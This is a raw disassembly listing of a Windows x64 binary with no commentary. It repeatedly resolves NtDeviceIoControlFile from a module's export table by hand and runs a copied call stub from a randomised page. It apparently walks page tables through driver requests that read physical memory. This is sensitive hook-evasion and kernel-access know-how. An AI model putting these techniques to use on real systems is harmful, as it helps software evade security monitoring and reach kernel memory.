mov r8d, 0x1000
lea rdx, [rbp + 0x9bfe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r12d
lea rdi, [r14 + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc58]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xc58], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc40]
lea rax, [rbp + 0x8f0]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x8f0]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf20]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xc58]
lea r9, [rbp + 0xc58]
mov edx, 0x1000
mov rcx, rsi
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test edi, edi
js 0x140076cc1
mov rsi, r15
test bl, 1
je 0x140076cc1
mov rax, qword [rsp + 0x50]
movabs rcx, 0xffffffffff000
shr rax, 0x1e
and rbx, rcx
and eax, 0x1ff
mov qword [rbp + 0x928], 0
xor edx, edx
mov qword [rbp + 0x930], 0
xorps xmm0, xmm0
mov qword [rbp + 0x938], 0
lea rcx, [0x1401fded8]
mov qword [rbp + 0x918], 8
lea rax, [rbx + rax*8]
mov qword [rbp + 0x920], rax
lea r8d, [rdx + 1]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc40], rax
movups xmmword [rbp + 0xf30], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140073cde
cmp word [rax], bx
jne 0x140073cde
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140073cde
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140073cde
mov r13d, dword [rax + 0x1c]
xor ebx, ebx
mov ecx, dword [rax + 0x24]
add r13, rdi
mov r14d, dword [rax + 0x20]
add rcx, rdi
mov r12d, dword [rax + 0x18]
add r14, rdi
mov qword [rbp + 0xc30], rcx
test r12, r12
je 0x140073cd9
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140073b15
inc rbx
cmp rbx, r12
jb 0x140073af1
jmp 0x140073cd9
mov rax, qword [rbp + 0xc30]
movzx eax, word [rax + rbx*2]
mov ecx, dword [r13 + rax*4]
add rcx, rdi
je 0x140073cd9
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140073cd9
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x594d4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x58150]
call fcn.1400be1b0
lea rcx, [rbp + 0x58150]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop
lea rcx, [rbp + 0x58150]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x93fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140073bb0
mov r8d, 0x1000
lea rdx, [rbp + 0x93fe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc5c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc5c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc40]
lea rax, [rbp + 0x918]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x918]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf30]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc5c]
lea r9, [rbp + 0xc5c]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cc1
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0x930]
test rdi, rdi
je 0x140076cc1
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc40], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140073f69
cmp word [rax], bx
jne 0x140073f69
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140073f69
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140073f69
mov r13d, dword [rax + 0x1c]
xor ebx, ebx
mov ecx, dword [rax + 0x24]
add r13, rsi
mov r14d, dword [rax + 0x20]
add rcx, rsi
mov r12d, dword [rax + 0x18]
add r14, rsi
mov qword [rbp + 0xc30], rcx
test r12, r12
je 0x140073f69
nop dword [rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140073da4
inc rbx
cmp rbx, r12
jb 0x140073d80
jmp 0x140073f69
mov rax, qword [rbp + 0xc30]
movzx eax, word [rax + rbx*2]
mov ecx, dword [r13 + rax*4]
add rcx, rsi
je 0x140073f69
mov r12d, dword [rcx + 4]
test r12d, r12d
js 0x140073f69
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x5a864], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x594e0]
call fcn.1400be1b0
lea rcx, [rbp + 0x594e0]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop
lea rcx, [rbp + 0x594e0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x9afe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140073e40
mov r8d, 0x1000
lea rdx, [rbp + 0x9afe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r12d
lea rbx, [r14 + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc60]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc60], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc40]
lea rax, [rbp + 0x918]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x918]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf30]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc60]
lea r9, [rbp + 0xc60]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cc1
mov rsi, r15
test dil, 1
je 0x140076cc1
movzx eax, dil
shr al, 7
test al, 1
je 0x140073f9d
movabs rax, 0xfffffc0000000
and rdi, rax
mov rax, qword [rsp + 0x50]
and eax, 0x3fffffff
jmp 0x140074ac7
mov rax, qword [rsp + 0x50]
movabs rcx, 0xffffffffff000
shr rax, 0x15
and rdi, rcx
and eax, 0x1ff
mov qword [rbp + 0x950], 0
xor edx, edx
mov qword [rbp + 0x958], 0
xorps xmm0, xmm0
mov qword [rbp + 0x960], 0
lea rcx, [0x1401fded8]
mov qword [rbp + 0x940], 8
lea rax, [rdi + rax*8]
mov qword [rbp + 0x948], rax
lea r8d, [rdx + 1]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc40], rax
movups xmmword [rbp + 0xf40], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14007427e
cmp word [rax], bx
jne 0x14007427e
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14007427e
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14007427e
mov r13d, dword [rax + 0x1c]
xor ebx, ebx
mov ecx, dword [rax + 0x24]
add r13, rdi
mov r14d, dword [rax + 0x20]
add rcx, rdi
mov r12d, dword [rax + 0x18]
add r14, rdi
mov qword [rbp + 0xc30], rcx
test r12, r12
je 0x140074279
nop dword [rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400740b4
inc rbx
cmp rbx, r12
jb 0x140074090
jmp 0x140074279
mov rax, qword [rbp + 0xc30]
movzx eax, word [rax + rbx*2]
mov ecx, dword [r13 + rax*4]
add rcx, rdi
je 0x140074279
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140074279
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x5bbf4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x5a870]
call fcn.1400be1b0
lea rcx, [rbp + 0x5a870]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x5a870]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x99fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140074150
mov r8d, 0x1000
lea rdx, [rbp + 0x99fe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc64]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc64], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc40]
lea rax, [rbp + 0x940]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x940]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf40]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc64]
lea r9, [rbp + 0xc64]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cc1
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0x958]
test rdi, rdi
je 0x140076cc1
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc40], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140074509
cmp word [rax], bx
jne 0x140074509
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140074509
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140074509
mov r13d, dword [rax + 0x1c]
xor ebx, ebx
mov ecx, dword [rax + 0x24]
add r13, rsi
mov r14d, dword [rax + 0x20]
add rcx, rsi
mov r12d, dword [rax + 0x18]
add r14, rsi
mov qword [rbp + 0xc30], rcx
test r12, r12
je 0x140074509
nop dword [rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140074344
inc rbx
cmp rbx, r12
jb 0x140074320
jmp 0x140074509
mov rax, qword [rbp + 0xc30]
movzx eax, word [rax + rbx*2]
mov ecx, dword [r13 + rax*4]
add rcx, rsi
je 0x140074509
mov r12d, dword [rcx + 4]
test r12d, r12d
js 0x140074509
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x5cf84], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x5bc00]
call fcn.1400be1b0
lea rcx, [rbp + 0x5bc00]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor ebx, ebx
nop
lea rcx, [rbp + 0x5bc00]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x98fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400743e0
mov r8d, 0x1000
lea rdx, [rbp + 0x98fe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r12d
lea rbx, [r14 + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc68]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc68], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc40]
lea rax, [rbp + 0x940]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x940]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf40]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc68]
lea r9, [rbp + 0xc68]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cc1
mov rsi, r15
test dil, 1
je 0x140076cc1
movzx eax, dil
shr al, 7
test al, 1
je 0x14007453d
movabs rax, 0x3ffffffe00000
and rdi, rax
mov rax, qword [rsp + 0x50]
and eax, 0x1fffff
jmp 0x140074ac7
mov rax, qword [rsp + 0x50]
movabs rcx, 0x3fffffffff000
shr rax, 0xc
and rdi, rcx
and eax, 0x1ff
mov qword [rbp + 0x978], 0
xor edx, edx
mov qword [rbp + 0x980], 0
xorps xmm0, xmm0
mov qword [rbp + 0x988], 0
lea rcx, [0x1401fded8]
mov qword [rbp + 0x968], 8
lea rax, [rdi + rax*8]
mov qword [rbp + 0x970], rax
lea r8d, [rdx + 1]
mov eax, dword [0x140322b68]
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc40], rax
movups xmmword [rbp + 0xf50], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14007481e
cmp word [rax], bx
jne 0x14007481e
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14007481e
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14007481e
mov r13d, dword [rax + 0x1c]
xor ebx, ebx
mov ecx, dword [rax + 0x24]
add r13, rdi
mov r14d, dword [rax + 0x20]
add rcx, rdi
mov r12d, dword [rax + 0x18]
add r14, rdi
mov qword [rbp + 0xc30], rcx
test r12, r12
je 0x140074819
nop dword [rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140074654
inc rbx
cmp rbx, r12
jb 0x140074630
jmp 0x140074819
mov rax, qword [rbp + 0xc30]
movzx eax, word [rax + rbx*2]
mov ecx, dword [r13 + rax*4]
add rcx, rdi
je 0x140074819
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140074819
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x5e314], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x5cf90]
call fcn.1400be1b0
lea rcx, [rbp + 0x5cf90]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop dword [rax]
lea rcx, [rbp + 0x5cf90]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x97fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x1400746f0
mov r8d, 0x1000
lea rdx, [rbp + 0x97fe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc6c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc6c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc40]
lea rax, [rbp + 0x968]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x968]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf50]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc6c]
lea r9, [rbp + 0xc6c]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cc1
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0x980]
test rdi, rdi
je 0x140076cc1
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rbp + 0xc40], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140074aa6
cmp word [rax], bx
jne 0x140074aa6
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140074aa6
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140074aa6
mov r13d, dword [rax + 0x1c]
xor ebx, ebx
mov ecx, dword [rax + 0x24]
add r13, rsi
mov r14d, dword [rax + 0x20]
add rcx, rsi
mov r12d, dword [rax + 0x18]
add r14, rsi
mov qword [rbp + 0xc30], rcx
test r12, r12
je 0x140074aa6
nop dword [rax]
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x1400748e4
inc rbx
cmp rbx, r12
jb 0x1400748c0
jmp 0x140074aa6
mov rax, qword [rbp + 0xc30]
movzx eax, word [rax + rbx*2]
mov ecx, dword [r13 + rax*4]
add rcx, rsi
je 0x140074aa6
mov r12d, dword [rcx + 4]
test r12d, r12d
js 0x140074aa6
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x5f6a4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x5e320]
call fcn.1400be1b0
lea rcx, [rbp + 0x5e320]
call fcn.1400b7000
mov r14d, eax
movabs rax, 0xc0906c513cedb3
mul r14
mov ecx, r14d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r14, rax
xor r13d, r13d
mov ebx, r13d
lea rcx, [rbp + 0x5e320]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x96fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140074983
mov r8d, 0x1000
lea rdx, [rbp + 0x96fe0]
mov rcx, rsi
call fcn.1401d15a0
mov dword [0x140322d74], r12d
lea rbx, [r14 + rsi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc70]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rsi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc70], r13d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc40]
lea rax, [rbp + 0x968]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x968]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf50]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc70]
lea r9, [rbp + 0xc70]
mov edx, 0x1000
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rsi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r13d
test ebx, ebx
js 0x140076cc1
test dil, 1
je 0x140076cc1
movabs rax, 0x3fffffffff000
and rdi, rax
mov rax, qword [rsp + 0x50]
and eax, 0xfff
add rdi, rax
test rdi, rdi
je 0x140076cc1
mov eax, dword [0x140322b68]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
xorps xmm0, xmm0
mov qword [rbp + 0x9a0], 0
mov qword [rbp + 0x9a8], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0x9b0], 0
movups xmmword [rbp + 0xf60], xmm0
mov qword [rbp + 0x998], rdi
mov qword [rbp + 0x990], 8
mov qword [rbp + 0xc30], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x140074d8e
cmp word [rax], bx
jne 0x140074d8e
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140074d8e
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140074d8e
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rdi
mov esi, dword [rax + 0x20]
add r13, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140074d89
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140074bc3
inc rbx
cmp rbx, r14
jb 0x140074ba0
jmp 0x140074d89
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rdi
je 0x140074d89
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140074d89
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rdi, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x60a34], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x5f6b0]
call fcn.1400be1b0
lea rcx, [rbp + 0x5f6b0]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop word [rax + rax]
lea rcx, [rbp + 0x5f6b0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0x95fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140074c60
mov r8d, 0x1000
lea rdx, [rbp + 0x95fe0]
mov rcx, rdi
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + rdi]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xc74]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, rdi
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xc74], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rbp + 0xc30]
lea rax, [rbp + 0x990]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x990]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0xf60]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xc74]
lea r9, [rbp + 0xc74]
mov edx, 0x1000
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x140076cc1
mov ebx, 0x5a4d
mov rax, qword [rbp + 0x9a8]
test rax, rax
je 0x140076cc1
mov rax, qword [rax]
lea rcx, [0x1401fded8]
mov qword [rsp + 0x50], rax
xor edx, edx
